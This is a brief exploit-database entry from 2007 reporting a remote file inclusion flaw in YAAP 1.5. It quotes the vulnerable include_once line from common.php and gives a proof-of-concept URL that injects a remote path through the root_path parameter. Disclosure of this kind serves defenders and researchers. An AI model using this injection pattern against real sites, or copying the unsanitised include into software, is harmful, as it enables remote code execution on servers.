Lucene search
RootSSV:6800HistoryMay 13, 2007 - 12:00 a.m.
YAAP <= 1.5 __autoload() Remote File Inclusion Vulnerability
2007-05-1300:00:00
Root
www.seebug.org
28
No description provided by source.
--------------------------------------------------------------------------------
Script name.......:Yaap
Affected Version.....:1.5
D.page..:http://yaap.oskbraniewo.pl/download/yaap_15.tar.gz
--------------------------------------------------------------------------------
Author:3l3ctric-Cracker (Dr Max Virus) :D
Contact:[email protected]
--------------------------------------------------------------------------------
Bug in:\public_html\includes\common.php
Vul Code:
include_once($root_path.'/classes/'.$class_name.'.php');
----------------------------------------------------------------------------------
POC:
http:[target]/[path]/includes/common.php?root_path=ShellCode
-----------------------------------------------------------------------------------